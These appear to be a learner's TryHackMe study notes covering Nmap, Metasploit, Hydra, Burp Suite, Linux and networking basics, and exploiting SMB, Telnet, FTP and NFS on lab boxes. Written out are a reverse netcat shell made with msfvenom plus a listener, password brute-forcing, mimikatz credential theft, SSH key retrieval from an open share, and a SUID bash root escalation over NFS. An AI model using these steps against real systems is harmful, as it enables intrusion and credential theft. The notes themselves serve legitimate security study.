* Tryhackme
* Setup openvpn connection
  + Ongoing in Terminal – no final message
  + Connection tested via tryhackme in browser
* Begin with Pentesting Tools
  + Nmap
    - * Perform appropriate enumeration of network map
      * Crucial point to begin attacks
      * 1024 well-known ports
    - Switches
      * -sS = Syn Scan
      * -sU = UDP scan
      * -O = OS scan
      * -sV = service versions
      * -v = verbosity
      * -vv = increased verbosity
      * -oA = output saved to three major file types
      * -oN = normal format
      * -oG – greppable format
      * -A = aggressive scanning
      * -p- <ip> = scan all ports
      * --script = active a script from the map scripting library
      * --script=<category> = active all scripts from a given category
    - Scan Type Overview
      * TCP connect scans = -sT
      * SYN half-open scans = -sS
      * UDP scans = -sU
      * RFC 793 = define TCP protocol behavior
        + RST flag for closed ports
        + ACK = open port
        + Filtered = firewall
    - SYN Scans
      * -sS – used to scan TCP port-range of a target through half-open/stealth scans
        + Replies to SYNACK with RST packet
      * Bypass old IDS looking for full 3way TCP
      * Defeats logs as they aren’t logged until connection is completed via 3way TCP
      * Faster
      * However, require root privilege for use and can bring down unstable systems
      * Nmap under root uses SYN by default, user nmaps use traditional TCP
    - UDP Scans
      * Packets sent to UDP ports should receive no response
      * Closed leads to response with ICMP packet
      * Takes much longer, typically deployed with a specific common UDP port range to limit total scan time – top 20 usually
    - NULL, FIN, XMAS scans
      * Stealthier than SYN but less commonly used
      * Only identify ports as open|filtered, closed, filtered as no response for open (Like UDP)
      * Used for firewall evasion
        + NULL – no flags set

RST response if closed

* + - * + FIN – packet sent with FIN flag

RST is closed

* + - * + XMAS – malformed TCP packet

RST response for closed

* + - * RFC 739 – Windows and Cisco often reply to malformed TCP packets with RST, even if port is not closed
    - ICMP Network Scanning
      * Ping sweep
      * -sn + IP range
        + Ex) nmap -sn 192.168.0.1-254 or nmap -sn 192.168.0.0/24
      * -sn prevents port scan, relying instead on ICMP packets (ARP for local)
        + Ex) nmap -sn 172.16.0.0/16
        + 172.16.x.x network with netmasl 255.255.0.0 and Class B CIDR notation
    - [NSE Scripts] Overview
      * Lua programming language
      * Several important categories
        + Use <name>\* for all scripts with a name in it

Ex - -script=smb\*

* + - * + Safe – wont affect target
        + Intrusive – not safe, likely affect target
        + Vuln – scan for vulns
        + Exploit – attempt to exploit vuln
        + Auth – attempt to bypass authentication for running services
        + Brute – bruteforce credentials
        + Discovery – query running services for further information about the network
      * --script=<script-name>,<script-name>
      * --script-args (after –script=)
        + <script-name>.<argument>
      * Check on nmap website and storage on attacking machine
    - Firewall Evasion
      * Default firewall will block ICMP
        + Issue for ping and nmap use
      * -Pn – nmap does not ping host before scanning, treating target as alive
      * Can also try:
        + -f = fragment packets, harder to detect
        + –mtu <number> - max transmission size of packets (must be multiple of 8) like -f but more control
        + - - scan – delay <time>ms – used to add delay between packets sent

Useful for unstable networks or IDS evasion

* + - * + - - badsum – used to generate invalid checksum for packets, which can be used to determine if IDS/firewall is present
    - Practical
      * Xmas scan on first 999 ports of target, how many are shown to be open or filtered?
        + Input: nmap -sX -Pn -p1-999 -vv <ip>
      * Perform a TCP SYN scan on the first 5000 ports of the taget
        + Input: nmap -sT -Pn -p1-5000 -vv <ip>
      * Deploy the ftp-anon script against the box. Can nmap login successfully to the FTP server on port 21?
        + Input: nmap -Pn -p21 - - script=ftp-anon -vv <ip>

Metasploit

* Initialize db – msfdb init
* Msfconsole -h = help or “?”
  + Msfconsole
  + Db\_status
    - Postgresql
  + Search = used for searching modules
  + Use = select module as active module
  + Connect = netcat like function to make quick connection to a host to verify one can talk to it
  + Set = change value of a variable – common command
  + Setg = change value of a global variable – common command
  + Unset – change variable to null/no value
  + Spool – write console output into a file as well as the screen.
  + Save – store settings/active datastores from Metasploit to a savings file
  + Load – load different modules, framework plugins
* Six Core Modules
  + Exploit – most common module utilized
  + Payload – contains shellcode to be executed
  + Encoder – modify appearance of exploit to avoid signature detection
  + NOP – used with buffer overflow and ROP attacks
  + Auxiliary – scanning and verification
  + Post – looting and pivoting
* Metasploit comes with built-in method to run nmap
* PICK EXPLOIT 🡪 PICK PAYLOAD 🡪 LHOST 🡪 RHOSTS 🡪 EXPLOIT
  + Ex) db\_nmap -sV -Pn -vv <ip>
  + Hosts command
  + Services command
  + Vulns
  + Use “exploitname”
  + Search
  + Set LHOST
  + Set RHOST
  + Exploit or run -j
  + Jobs command to check active jobs
  + Sessions to list all sessions
    - Interact via sessions -I <session number>
  + Migrate command to transfer into a process from the spool (using PID)
    - Need sufficient privilege
  + Use meterpreter HELP for assistance
    - Getuid – find out more information regarding the current user process is running in
    - Sysinfo – find out more about the information itself
    - Load kiwi – mimikatz for credential stealing
    - Getprivs – figure privileges of current user
    - Upload – transfer files to victim computer
    - Run – run a Metasploit module
    - Ifconfig/ipconfig – display networking information and interfaces
  + Run post/windows/gather/checkvm
    - Determine if inside VM
  + Run post/multi/recon/local\_exploit\_suggester
    - Check for various exploits that can be ran within session to elevate privileges
  + Run post/windows/manage/enable\_rdp
  + Shell – command – run meterpreter session to spawn a normal system shell
* Making Cisco proud
  + Run autoroute -h
  + Pivoting through victim with NICs
  + Add a route to subnet
    - Run autoroute -s <ip> -n <subnet>

Nessus

* To start nessus: run command - /bin/systemctl start nessusd.service
  + Then go to <https://kali:8834/> to configure the scanner

Hydra

* Brute-force online password cracking program
* Hydra in terminal
* Options passed in hydra depend on protocol
  + SSH, FTP, etc.
* Username and password list txt file
  + Ex. Hydra -l user -P passlist.txt <ftp://10.10.115.6>
* Brute-force webforms as well
* Browser network tab (in developer tools)
  + GET or POST methods
* Rockyou.txt from /usr/share/wordlist/rockyou
* Tar -xvf extract file for password list
* Paired with burpsuite to intercept message, extract syntax of password and username structure as well as fail statement for incorrect input

Web Fundamentals

* 9 different HTTP verbs
  + GET – retrieve content
  + POST – send data to web server
* HTTP request has several parts
  + First line is a verb and a path for the server
    - GET /index.html
  + Next section is headers – give web server additional info about request
    - Contain cookies
  + Request Body
    - POST – content sent to server
    - GET – typically ignored by server
    - Useful for forensics and analyzing packet captures
* Responses
  + First line is status rather than a verb (like 404)
  + Response headers are important
    - Tell something about the server sending them or provide cookies
  + Also have body
    - GET – web content, JSON info
    - POST – status messages
* Cookies
  + Specific to browsers, not shared
  + Session management, advertising
  + Typically sent with every HTTP request
    - Keep track of other stateless HTTP
  + Have several parts
    - Name, value, expiry date, path
    - Normally set by server
      * Server response headers (“Set-Cookie”)
    - Or by JS in browser
  + Session tokens
  + View and modify with dev tools, storage, create cookies
  + Alternative
    - LocalStorage and SessionStorage
    - HTML5 features not sent by HTTP by default
  + To make GET when provided with IP and port #
    - Curl http://<ip>:<port>/path/get
  + POST request – make POST request with body “flag\_please” to /ctf/post
    - Curl http://<ip>:<port>/path/post -X POST -d “flag\_please”
    - -d = HTTP POST data
    - -X = request
  + GET cookie
    - Curl -v http://<ip>:<port>/<path><getcookie>
    - -v is important to list cookie
  + SET cookie
    - Curl http://<ip>:<port>/path/sendcookie --cookie flagpls=flagpls
    - - - cookie argument
    - Named variable flagpls

BURPSUITE

* Setting Burpsuite certificate for Firefox to act as proxy
* FoxyProxy
* Create and add settings for Burp
  + 127.0.0.1
  + 8080
* <http://localhost:8080>
  + Download CA cert
* Settings in Firefox
  + View certificates
  + Import
  + Ok/ok
  + Save
* Components
  + Proxy – funnel traffic through burp
  + Target – set scope – create sitemap of tested app
  + Intruder – tool for fuzzing, stuffing, etc
  + Repeater – repeat requests, used in conjunction with intruder
  + Sequencer – analyzes random parts of websites, often used to test cookie randomness
  + Decoder – perform data transformation
  + Comparer – compare different responses or pieces of data or proxy histories (like Linux tool diff)
  + Extender – add components
  + Scanner – automated web vuln scanner
* Proxy
  + Requests require authorization to be sent
  + In-line modification of requests – MiTM attacks
  + Drop requests – helpful in watching web response
  + Forward requests to intruder and repeater for modification to induce vulns
  + Ctrl-I – shortcut to send traffic to intruder, ctrl-r for repeater
  + Websockets history – saved history, commonly used to collaborate application requiring real-time updates (like googledocs)
  + http history – useful for proof of actions through pentesting or modifying/resending a request
  + intercept client requests
    - and – URL – is in target scope
      * helps limit proxy intercept by not disturbing user searches outside of specified target
* Target
  + Define scope, view sitemap, specify definitions
  + Build scope
    - Tiered approach
      * Lowest privilege – site visitor or base user
      * Discover full extent of site – happy path
      * Remove unrelated items from scope after building site map from happy path
  + Target – sitemap – right-click and add to scope
  + Issue definitions – how issues are defined for reporting
* Repeater
  + Typically used for the purposes of experimentation or more fine-tuned exploitation wherein automation may not be desired.
  + Attempt login
    - Send failed attempt (found in HTTP history) to repeater and intruder
  + Repeater
    - Adjust request to use single quote (‘) as both place of email and password
    - Enter as “’”
    - Causes sqlite\_error
      * Indicates login vulnerable to SQLi
    - Intercept GET/POST – ID and change parameters before forwarding
  + Intruder
    - Many uses – core use: automation
    - Repeat testing once POC established
      * Enumerating identifiers, cycling through predictable sessions, attempting simple password guessing
      * Harvesting useful data from user profiles via grepping
      * Fuzzing for vulns such as SQL injection, XSS, and path traversal
    - Four Different Attack Types
      * Sniper – most popular, cycles through selected positions, putting the next available payload in each position in turn, uses only one set of payloads (wordlist)
      * Battering Ram – uses only one set of payloads, puts every payload into every selected position
      * Pitchfork – use multiple payload sets (one per position selected) and iterate through both payloads simultaneously. Cycle through combinations equaling smallest payload set provided
      * Cluster bomb – multiple payload sets (one per position selected) and iterate through all combinations of the payload lists provided.
    - Fuzzdb SQLi platform detection list
    - Positions subtab
      * Sniper
      * Choose positions to enter payloads (email and password), must be between quotes – do not include the quotes
    - Payloads subtab
      * Payload options
        + Load

Choose password file

* + - * + Uncheck URL encode
        + Attack
        + Payload for first 200 code
    - TO CHECK OK’d FILE EXTENSIONS
      * Vulnversity Walkthrough
      * Create wordlist with extensions
      * Upload innocent file
      * Intercept
      * Send to intruder
        + Sniper
        + Positions

Filename extension “Add”

* + - * Run Attack to see what extensions are allowed
  + Sequencer
    - Test randomness of session tokens, anti-CSRF tokens, password reset tokens
    - http history subtab
      * dig for response which issues a cookie “set-cookie”
        + be sure to check for request containing cookieconsent\_status=dismiss and response with set-cookie containing repeat in {} below body of headers
        + analyze now button should light up
      * send to sequencer
    - start live capture
      * capture ~10k requests
        + pause and analyze
        + measured entropy
        + usable bits of entropy

normalize dataset

* + Decoder and Comparer
    - Comparer is good for
      * Username enumeration conditions, compare responses to failed logins, subtle response differences, intruder attacks, *comparing site maps, proxy history for application behavior* (reveal access control issues)
        + Testing for blind SQL injection bugs using Boolean condition injection
      * Words or bytes comparison
    - Smart decode – magic function where it will automatically attempt to decode input provided
  + Extender
    - * Logger++ - enhanced logging to all requests and responses from all burpsuite tools
      * Request smuggler – allows attempt to smuggle requests to backends servers
      * Authorize – authentication testing in web app tests. Typically revolve around navigating to restricted pages or issuing restricted GET requests with the session cookies of low-privleged users
      * Burp teams server – allows for collaboration on a burp project amongst team members
      * Retire.js – adds scanner checks for outdated JS libraries that contain vulns
      * J2EEScan – adds scanner test coverage for J2EE applications
      * Request Timer – captures response time for requests made by all burp tools, useful for discovering timing attack vectors
    - Need Jython beforehand
    - Extender options tab
      * Python environment – jython standalone
        + Download jar file and move to documents, select and upload
      * BApp Store
        + Authorize, bookmarks, logger++

OhSINT

Exiftool

Author of image = copyright, GPS

Google search

Wigle.net – cybernullius and saved password to firefox

Inspect element – search for =”true” signs – potential indication of a password

Linux Fundamentals

* Ssh username@ip
* Password
* Echo hello – echo returns input back to you
* “uname -a” – determine linux kernel version
* Commands have flags
  + <command><flag><input>
  + Learn about them with <man> command
    - Ex. Man echo
    - <command> -n – command without newline
* “ls” command
  + “ls -a” – all
  + “ls -a;” – shows permissions
    - normal root permissions should be -rw-r- -r- -
    - abnormal example of a file that is misconfigured
      * -rw-rw-r- -
  + “ls -r” – allows to operate on every file in the directory at once
    - - r w - r - - r- -, etc.
    - Changed with “chown” command – which changes user and group of any file
      * Syntax: chown user:group file
      * Ex. Chown shiba2:shiba2 file
      * Or chown <user> <file> to change user but keep group
      * Only usable if above target user
    - Chmod allows set different permissions and control who can read it
      * Chmod <permissions> <file>
      * Using numerical values for permissions (1-7) – user – group – everyone else (0 = no permissions)
      * Ex. Chmod 341 chmod 777, chmod 455
  + “ls -l” - long list format
  + ls -l <file name> - show permissions of file
* Find - list every file in current directory – recursive – will search every directory that is in the original directory provided (find / 🡪 entire OS searched)
  + Dependent on permissions for listing
  + Find dir -user 🡪 list every file owned by specified user
  + Find dir -group 🡪 list every file owned by a specified group
  + “-perm” find files that have specific permissions
  + “Strings” command allows users to pull human-readable text from programmed items (like C)
  + *Find flag26 by searching the all files for a string that begins with 4bceb and is 32 characters long*
    - *Ex.* **Find / -xdev -type f -print0 2>/dev/null | xargs -0 grep -E ‘^[a-z0-9]{32}$’ 2>/dev/null**
  + Search for SUID files
    - Find / -user root -perm -4000 -exec ls -ldb {} \;
* Grep – find data inside data
  + Grep <string> <file> <file2> <etc>
  + “-n” tells line number of a string
  + Sed command
* “cat” – concatenate – outputs contents of files to the console
  + More and less commands as well, especially when inspecting php files
  + Use “rev” command to output text in reverse
    - Ex. Cat <file> | rev
  + Remove all spaces in file🡪 remove all new lines spaces 🡪 split by comma and get the last element in the split
    - Ex. | tr -d “\n” > file.txt
    - Cat file.txt
* “rm” – means remove
  + “-r” – deletes every file in a directory
  + “-f” – removes warning prompts
* “mv” – allows you to move files from one place to another
  + Mv <file> <destination>
    - Ex. Mv <file> ~ 🡪 move file to home directory
  + Can also rename files
    - Ex. Mv <file> ~/<new name>
* “cp” – copies file as opposed to moving it
  + Cp <file> <destination>
* “mkdir” – make new directories
  + Mkdir <directory name>
* “touch” creates files
  + Ex. Touch b.txt – creates txt file titled “b”
* “ln” – hard links a duplicate file to its original – whatever is done to the created link is matched in the original file
  + - Ln source destination
  + Can also do symbolic linking – glorified reference to another file
    - “ln -s <file> <destination> (files will have an arrow symbol pointing to original file)
* Running a binary
  + Run downloaded or user created programs
  + Done by providing full path to the binary
  + Can use relative paths
    - ./<file> = /tmp/aa/<file>
    - ../<file> = /tmp/<file>
    - ~/<file> = /home/<user>/<file>
* “su” allows change of user
  + “-s” allows specification of which is used when you login
* SSH-ing
  + Windows PuTTY
  + Binary on windows or MacOS
  + && = allows to execute a second command after the first one has executed successfully
  + & = background command – command will execute in background, allowing user to execute commands while this one is running without having to wait
  + $ - environment variable indicator – used to affect different processes and how they work. Editing these variables can change how certain processes work on computer
    - Touch $<variable> - change variable
  + >> - appends output to a file
  + “|” = pipe = allows to take the output of a command and use it as input for a second command
    - Ex. “cat <file> | grep <file>
    - Take file output and search for a specific string
  + “;” – similar to && but does not require first command to execute successfully
  + “>” – output redirection, redirect output of any command to a file
    - Ex. Echo hello > file
    - If file already exists, will be completely replaced
  + “>>” – appends output of a command to a file, instead of erasing it
  + Need to access shiba2 binary, which, when executed, will search for environment variable test1234 (which does not exist at this time)
    - Inputting the follow command creates test1234 environment variable and sets it equal to the preexisting $USER environment variable
    - Export test1234=$USER
    - Once shiba2 binary is run, it finds test1234 and unlocks, revealing shiba3 password
* Binary – Shiba3
  + When looking for a specific file, in this case binary file shiba4, using “find /” was partially correct.
    - Needed to add “-name shiba4”, not simply “find / shiba4”.
    - Additionally, adding “ | grep shiba4 | grep shiba4” to find hidden files
    - Find / -name flag5\* | grep “flag5\*”
* Sudo
  + “-u” specify user
    - Ex. Sudo -u <user> <command>
  + “-l” – lists user sudo privileges
* Adduser – only doable by root
  + Adduser <username>
* Addgroup – only doable by root
  + Addgroup <groupname>
  + Add user to a group using usermod command
    - Usermod -a -G <groups separated by commas> <user>
* “id” – allows you to view basic information about a user
* Nano
  + Terminal based text editor
  + Nano <file>
    - Ctrl-x – exit and save options
* Basic shell scripting
  + Storing list of commands in a file with a .sh extension
  + Save and run bash s.sh – execute commands in order as list in said file
* Directory structure
  + “/” is the basis of everything (like C: in Windows)
  + **/etc/passwd – stores user information** – often used to see all the users on a system
    - **Cat file**
    - **“groups” command shows which groups <user> is in**
  + /etc/shadow – has all the passwords of users
  + /etc/group – all groups
  + /tmp – every file inside gets deleted upon shutdown
  + /etc/sudoers – used to control the sudo permissions of every users on the system
  + /home – user directory
  + /usr – where user software is installed
  + /bin and /sbin – used for system critical files
  + /var – linux misc. directory - ***LOGS***
  + $PATH – stores all the binaries you’re able to run
* “ps” command – list of user created processes can be viewed
  + “-ef” flag for all system processes – PIDs
    - Use kill command – kill<PID>
* “top” command – shows what processes are taking up the most system resources

Linux Fundamentals

Bash history 🡪 .bash\_history found via ls -la 🡪 cat to open

Cronjob 🡪 crontab -e

Hosts file in /etc/

Alias command 🡪 stored in .bashrc 🡪 custom alias = answer

***MOTDs 🡪 stored in /etc/update-motd.d/00-header***

Finding information about the system – like kernel version – cat /etc/\*release (once inside /etc/)

Media – directory for mounted files – removable hardware

CONVERTING HEX TO ASCII

Cat <file> | xxd -r -p

Curl localhost

MYSQL

Mysql -u root -p

Show databases;

Use <database>;

Select \* from <tables>;

Printenv to find system variables

Home/<user>/.profile 🡪 personal $PATH’s

Intro to Networking – CISCO Self Study Guide by Steve McQuerry

* OSI Model – Open Systems Interconnection
  + Layer 7 – Application – networking options to programs running on a computer. Exclusive to applications, interface to transmit data. Data given to application layer goes to presentation layer. Accepts communication requests from applications. – FTP protocol communicates with this layer.
  + Layer 6 – Presentation – receives data from the Application layer. Translates data into standardized format. Handles encryption, compression, or other transformations to data. Data then passed to session layer
  + Layer 5 – Session – looks to setup connection to other computer across the network, otherwise it sends back an error. Session layer must maintain connection and synch with session layer of other computer. Session created is unique to communication, allowing multiple requests to be made to multiple endpoints simultaneously without data mixup. Once session successfully logged, data is passed down to transport layer. Tracks communications between the host and receiving computers
  + Layer 4 – Transport – choose protocol over which the data is to be transmitted, commonly TCP or UDP. TCP connection-based, UDP connectionless. Accuracy versus speed, respectively. Once protocol is selected, data is divided into segments or datagrams (TCP vs UDP) for transmission
  + Layer 3 – Network – responsible for locating destination of request, best route to take. Use of logical addressing (IPv4, software based)
  + Layer 2 – Data – focuses on physical addressing of the transmission. Receives packet from network layer (including IP of receiving) and adds in MAC of receiver endpoint via NIC. Presents data in a format suitable for transmission. Checks received information to make sure it hasn’t been corrupted during transmission, which occurs over Layer 1.
  + Layer 1 – Physical – hardware of computer. Convert the binary data of the transmissions into signals and transmit them across the network, as well as receiving incoming signals and converting them back into binary data.
* Encapsulation
  + As data passes down each layer of the model, more information specific to each layer is added on to the start of the transmission.
    - Network layer header would include src and dst IP
    - Transport layer header would include protocol-specific info
    - Data link layer adds end piece to verify data has not been corrupted on transmission
      * Cannot be intercepted/tampered without breaking trailer
  + Encapsulation
    - Layers 7, 6, 5 – data is data
    - Layer 4 (TRANSPORT) – data is segment or datagram
    - Layer 3 (NETWORK) – data is a packet
    - Layer 2 (DATA) – data is a frame
    - Layer 1 (PHYSICAL) – data broken down into bits
    - Process is reversed at receiving endpoint
      * De-encapsulation
  + Gives standardized method of sending data and adds security layer
* The TCP/IP Model
  + - Serves as basis for real-world networking, (OSI theoretical framework)
  + Application = OSI (Application, Presentation, Session)
  + Transports = OSI (Transport)
  + Internet = OSI (Network)
  + Network = OSI (Data Link, Physical)
  + The Practical Side
    - TCP/IP is a suite of protocols (Two most important being TCP and IP)
    - TCP – connection-based protocol
      * Three-way handshake
      * SYN-SYN/ACK-ACK
    - Introduced by DoD in 1982 (TCP/IP)
      * OSI 🡪 International Organization for Standardization
* Wireshark
  + Analyze captured packets
  + Five core pieces
    - Frame 1 – showing details from physical layer of the OSI model (Network Interface of TCP/IP) – packet size in terms of bytes
    - Ethernet II – details from Data Link layer of the OSI model (Network Interface layer of TCP/IP model), transmission medium (ethernet), source and destination MAC addresses
    - Internet Protocol Version 4 – details of Network Layer of OSI (Internet Layer of TCP/IP), source and destination IP addresses
    - Transmission Control Protocol, User Datagram Protocol – details from Transport Layer of OSI and TCP/IP models. Which protocol (TCP or UDP)
    - Hypertext Transfer Protocol, Domain Name System – details from the Application Layer of OSI and TCP/IP models. GET/POST requests
* Ping
  + Test connection to a remote resource
  + Uses ICMP protocol
    - Works on network layer of OSI and internet layer of TCP/IP
  + Ping <target>
  + Determines IP if domain name is enter or URL
  + Switch -i changes interval timing between pings
  + Switch -4 sets to IPv4 only, -6 sets to IPv6 only
* Traceroute
  + Map path requests take as it heads to target machine
  + Runs on Internet Layer of TCP/IP
  + Traceroute <destination> - UDP
  + Windows tracert – ICMP
    - Can be altered via switch input
  + Switch -i – specify interface
  + Switch -T – TCP requests
* WHOIS
  + Domain names
  + Query who a domain name is registered to
  + “whois <domain>”
* Dig
  + When requesting a website
    - Computer checks local cache for preexisting IP stored for website
      * Sends request to recursive DNS server (known by router) – FIRST STOP outside of local cache

Contains cache of popular domains

* + - * + If not in recursive server cache, forwarded to Root Name Server (13 of them worldwide)

Track TLD (top-level domain) servers to forward request to

Split into extensions (.com, .org, etc)

TLDs keep track of Authoritative Name Servers (next level down)

ANS servers store DNS records for domains directly, with relevant ANS sending DNS info back to request source

* + All of this can be done manually with “dig”
    - Allows manual query of recursive DNS servers
    - Syntax: dig <domain> @<dns-server-ip>
    - Google public DNS server
      * 8.8.8.8
      * 8.8.4.4
  + Helpful for network troubleshooting
    - Gives TTL of queried DNS record (found in second column)
      * Measured in seconds
* IPv4 Addresses
  + IP Address Classes
    - Class A – 1-127
    - Class B – 128-191
    - Class C – 192-223
    - Class D – 224-239
    - Class E – 240-255
      * used for research
  + Private Address Space
    - Class A – 10.0.0.0
      * used by businesses
    - Class B – 172.16.0.0 to 172.31.255.255
    - Class C 0 192.168.0.0 to 192.168.255.255
      * 192.168.0.0
      * 192.168.1.0
      * 256 addresses
        + first address is network addr
        + last address is broadcast addr
        + gateway address is also usually reserved
      * 0.0.0.0 – reserved for unroutable packets
* Binary to Decimal
  + IPv4 – 32 bits split up into four sections of eight bits
* Decimal to Binary
  + maintain octet structures with prepended 0’s

Network Service – learn about, then enumerate and exploit a variety of network services and misconfigurations

* Understanding SMB
  + Server Message Block Protocol – client-server communication protocol used for sharing access to files, printers, serial ports, and other network resources
    - Response-request protocol = transmits multiple messages between client and server to establish connection
      * Connect via NetBIOS over TCP/IP [RFC1001&RFC1002], NetBEUI, or IPX/SPX
  + Once connection is established, clients send commands (SMBs) to server to allow access shares
    - Done over the network
  + Windows and Samba (Unix) support SMB
* Enumerating SMB
  + Process of gathering information on a target in order to find potential attack vectors and aid in exploitation
    - Avoid ineffective or overtly destructive attacks
    - Gather passwords, usernames, network info, hostnames, application data, servers, etc.
  + Port Scanning
    - First step in enumeration
      * Find out info about services, applications, structure, OS
      * Nmap -A -p- flags
    - Enum4Linux
      * Used to enumerate SMB shares on both Linux and Windows
      * Wrapper around tools in Samba package enabling quick extraction of information from target pertaining to SMB
        + Syntax: enum4linux [options] <ip>
        + TAGS

-U – get user list

-M – get machine list

-N – get name list dump

-S – get share list

-P – get password policy information

-G – get group and member list

- A – all the above

* + - * + Search for share enumeration on <ip>
* Exploiting SMB
  + Some exploits for SMB – like CVE-2017-7494
    - Misconfiguration more likely path to success
      * Anonymous SMB share access – common misconfiguration that allows gain information to deploy shell
    - Method
      * From enumeration – gained – SMB share location + name of potential SMB share
    - SMBClient
      * Part of samba suite
        + Syntax: smbclient //[IP]/[SHARE]

Tags: -U [name] (specify the user); -p [port] (specify the port)

Ex. Smbclient //10.10.10.2/secret -U suit -p 139

* + - * + Username: Anonymous, no password needed
        + Ex. //10.10.54.11/profiles -U Anonymous -p 139

When password is request, press ENTER

If “smb: \>”, success

Use “ls” for list, items with “D” are directories and can be accessed via “cd”

* + - * Once interesting files are found, use get “[file of interest]” <output file name> to transfer to attacker system and read via “cat” command
      * “id\_rsa” is the default name of an SSH identity file
        + Retrieve with “get id\_rsa <output file name>”
      * Check public key for potential usernames anchored to end of file and use for ssh login
      * Private key file, once permissions have been changed to 600 via chmod, can be used for ssh login
        + Ex. Ssh -I <private key filename> <username>@<ip>
* Telnet
  + Application protocol which allows, via telnet client, connection, and execution of commands on a remote machine hosting a telnet server
    - Client becomes virtual terminal allowing you to interact with the remote host
  + Sends messages in cleartext and has been replaced by SSH
  + Accessed via “telnet” command and then use telnet-specific commands in the Telnet prompt
    - Syntax: telnet [ip][port]
    - Ex. telnet 10.10.10.3 23
* Enumerating Telnet
  + Methodology must be thorough
  + Begin with port scan
* Exploiting Telnet
  + No encryption and has typically poor access control
  + Method
    - Poorly hidden telnet services
    - Service markings – example indicates “backdoor”
    - Identifying information – example indicates username
    - Use information to access telnet port
  + Connecting to Telnet
    - telnet [ip][port]
  + Reverse Shell Use
    - Shell is a piece of code or program which can be used to gain code or command execution on a device
    - Reverse shells have target machine communicate back to the attacking machine
      * Attacking machine has a listening port that receives communication, allowing code/command execution
    - Once access has been granted using telnet [ip] [port]
      * Use tcpdump listener on local machine
      * Syntax: sudo tcpdump ip proto [\\icmp](file:///\\icmp) -i tun0
        + Uses ICMP traffic listener using specific OpenVPN connection
        + On client side, use “.RUN ping <attacker ip> -c 1

Allows single ping to attacker to confirm inputs can be executed

* + - * + In new terminal, create reverse shell using netcat

Ex. Msfvenom -p cmd/unix/reverse\_netcat lhost<local ip> lport=4444 R

* + - * + Create listening post

Ex nc -lvp 4444

* + - * + Copy and paste msfvenom output (denoted by mkfifo) into telnet session, preceded by .RUN and execute.

Run session as normal navigation in linux terminal

* Understanding FTP
  + File Transfer Protocol – port 21
    - Client-server model
    - Client initiates connection, server validates login credentials, enabling execution of FTP commands
  + How does FTP work
    - Uses two channels
      * Command/control channel
      * Data channel
    - Active versus Passive
      * Active allows client to open a port and listen. Server is required to actively connect to it
      * Passive allows server to open a port and listen and the client connects to it
* Enumerating FTP
  + Nmap to assist in the exploitation of an anonymous FTP login to search for files that can assist in insertion of reverse shell
    - Common for CTF challenges as it mimics realistic faulty implementation of FTP servers
  + Need ftp client on attacking machine
  + Alternative Enumeration Methods
    - Some vulnerable versions of in.ftpd and other FTP server variants, each of which return different responses to “cwd” command for home directories which do and don’t exist
    - “cwd” can be issued before authentication, assisting in recon
    - More common in legacy FTP versions
  + Access syntax: ftp <ip>, then enter user anonymouse and no password when prompted
    - Access directory and use get command to retrieve files and save info on attacking computer
* Exploiting FTP
  + Types of FTP Exploit
    - Command and data channels are unencrypted, as with Telnet
    - MiTM attacks
    - ARP-poisoning
    - Weak or default password configurations
  + Method Breakdown
    - Enumeration reveals
      * FTP server running on machine
      * Possible username
      * Bruteforce via hydra
  + Hydra
    - Ex. Syntax: hydra -t 4 -l <username> -P /usr/share/wordlists/rockyou.txt -vV <ip> ftp
      * Hydra – runs tool
      * -t 4 – number of parallel connections per target
      * -l [user] – points to user account
      * -P – path to wordlist dictionary for bruteforce
      * -vV – verbose set to very verbose
      * <ip> - ip addr of target
      * ftp/protocol – sets protocol hydra is to use (can be one of 50 protocols)
    - will reveal password if found
  + use ftp<ip> and login info to access compromised user, navigate as usual, use get command to retrieve info

Network Services Part 2

* Understanding NFS – ports 2049 (NSFV4/V3), 111 (RPC via NSFV3)
  + Network File System – allows system to share directories and files with others over a network – files mounted on a server for local-like access
  + NFS Workings
    - Client requests to mount a directory from a remote host on a local directory – mount service then acts to connect to the relevant mount daemon using RPC
      * Server checks if user has permission to mount whatever directory has been requested 🡪 then return a file handle to unique ID each file and directory
        + To access using NFS 🡪 RPC call is placed to NFSD (NFS daemon)

Takes parameters such as file handle, name of file, user ID, group ID

* + What runs NFS
    - NFS protocol, transfer files between OS types
    - 4.2 version
* Enumerating NFS
  + Critical when considering how to enumerate and exploit a remote machine
  + For advanced enumeration of NFS server
    - NFS-Common
      * Essential to have package installed on any machine that uses NFS
        + Contains showmount and mount.nfs

Most useful for extracting information from NFS shares

Sudo apt install nfs-common

* + - Port scanning
    - Mounting NFS shares
      * Client system needs directory where all the content shared by the host server in the export folder can be accessed
        + Created anywhere on system

Use mkdir /tmp/mount (for temporary that will delete upon shutdown)

* + - * + Once created, use “mount” command to connect the NFS share to the mount point on machine

Ex. Sudo mount -t nfs <ip>:share /tmp/mount/ -nolock

Sudo – root

Mount – execute mount command

-t nfs – type of device to mount, then specifying its NFS

<ip>:share – the IP address of the NFS server and the name of the share we wish to mount

-nolock – specifies not to use NLM locking

* + - * + /usr/sbin/showmount -e <ip>

Lists NFS shares that are visible

After using nmap to confirm

Use this in the “share” portion in the sudo mount command above

* + - * + Refresh directory by going back to home directory (or directory listed in NSF share) and reentering PATH
* Exploiting NFS
  + If a low privilege shell is on a machine with NFS share, it can potentially be used to escalate privileges – depending on configuration
  + Root\_squash
    - Enabled by default – prevents anyone connecting to NFS share from having root access to the NFS volume
    - Remote root users are assigned a user “nsfnobody” – least local privileges
      * If turned off, allows creation of SUID bit files, allowing remote root access
  + SUID
    - Files with SUID bit set can be run with the permissions of the file owner/group
      * Super-user – leverage to get shell with these privileges
  + Method
    - Upload files to NFS share and control permissions of these files
    - Set permissions of upload
      * Bash shell executable
    - Login through SSH
      * Execute bash exe to gain root shell
  + The Executable
    - Github based bash shell script
  + NFS Access
    - Gain low privilege shell
      * Upload bash executable to NFS share
        + Set SUID permissions through NFS due to misconfigured Root Squash

Login through SSH

Execute SUID Bit Bash Exe

ROOT ACCESS

* + Move downloaded bash file to /tmp/mount directory holding NSF share and add SUID via sudo chmod +s bash and sudo chmod +x bash
    - Permissions should be: -rwsr-sr-x
    - Navigate to victim /home/ directory, confirm bash shell is present
      * Run ./bash -p
      * If bash-4.4# 🡪 successful shell
        + Use whoami and id to confirm root
        + Cat /root/root.txt for flag??
* Understanding SMTP
  + Simple Mail Transfer Protocol, paired with protocol pair POP/IMAP
    - Allow user to send outgoing mail and retrieve incoming mail, respectively
  + SMTP server performs three basic functions
    - Verifies who is sending emails through SMTP server
    - Sends outgoing mail
    - Sends mail back to sender if it cannot be delivered
  + POP and IMAP
    - Post Office Protocol
      * Relatively simpler approach of downloading the inbox from the mail server, to the client
